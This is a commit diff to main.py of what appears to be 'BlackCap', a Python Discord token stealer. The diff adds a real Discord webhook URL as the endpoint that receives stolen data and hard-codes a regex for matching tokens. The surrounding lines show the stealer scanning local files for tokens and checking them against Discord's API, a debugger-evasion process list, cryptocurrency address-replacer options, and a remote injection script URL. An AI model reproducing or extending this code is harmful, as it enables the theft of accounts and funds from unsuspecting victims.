Update main.py

This commit is contained in:
What about KSCH 2023-02-13 15:42:36 +01:00 committed by GitHub
parent 8abe6dfb0a
commit 09ffe768bd
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 22 deletions

46
main.py
View File

@ -51,25 +51,25 @@ Passw = [];
__config__ = {
'yourwebhookurl': "%WEBHOOK_HERE%",
'yourwebhookurl': "https://discord.com/api/webhooks/1071191394800107661/bVHFULyHT1vePFsbServBz4UOprdCtMPSfHZ-lYBt3PyqVDSlHZuD_lmESf4PpvL608u",
'blackcap_inject_url': "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Inject/main/index.js",
'hide': '%_hide_script%',
'ping': '%ping_enabled%',
'pingtype': '%ping_type%',
'fake_error':'%_error_enabled%',
'startup': '%_startup_enabled%',
'kill_discord_process': '%kill_discord_process%',
'dbugkiller': '%_debugkiller%',
'hide': 'False',
'ping': 'no',
'pingtype': 'none',
'fake_error':'no',
'startup': 'no',
'kill_discord_process': False,
'dbugkiller': False,
'addresse_crypto_replacer': '%_address_replacer%',
'addresse_btc': '%_btc_address%',
'addresse_eth': '%_eth_address%',
'addresse_xchain': '%_xchain_address%',
'addresse_pchain': '%_pchain_address%',
'addresse_cchain': '%_cchain_address%',
'addresse_monero': '%_monero_address%',
'addresse_ada': '%_ada_address%',
'addresse_dash': '%_dash_address%',
'addresse_crypto_replacer': 'no',
'addresse_btc': 'none',
'addresse_eth': 'none',
'addresse_xchain': 'none',
'addresse_pchain': 'none',
'addresse_cchain': 'none',
'addresse_monero': 'none',
'addresse_ada': 'none',
'addresse_dash': 'none',
'blprggg':
[
"httpdebuggerui",
@ -114,12 +114,13 @@ vctm_pc = os.getenv("COMPUTERNAME")
r4m = str(psutil.virtual_memory()[0] / 1024 ** 3).split(".")[0]
d1sk = str(psutil.disk_usage('/')[0] / 1024 ** 3).split(".")[0]
BlackCap_Regex = 'https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/super_secret_regex.txt'
reg_req = requests.get(BlackCap_Regex)
clear_reg = r"[\w-]{24}" + reg_req.text
#BlackCap_Regex = 'https://raw.githubusercontent.com/KSCHdsc/BlackCap-Assets/main/reg.txt'
#reg_req = requests.get(BlackCap_Regex)
clear_reg = r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
#\.[\w-]{25,110}
#r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}"
@ -353,7 +354,7 @@ class bl4ckc4p(Functions):
self.baseurl = "https://discord.com/api/v9/users/@me"
self.regex = clear_reg
self.regex = clear_reg
self.encrypted_regex = r"dQw4w9WgXcQ:[^\"]*"
@ -715,6 +716,7 @@ class bl4ckc4p(Functions):
continue
for line in [x.strip() for x in open(f'{path}\\{_file}', errors='ignore').readlines() if x.strip()]:
for token in re.findall(self.regex, line):
print(token)
try:
r = requests.get(self.baseurl, headers={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36',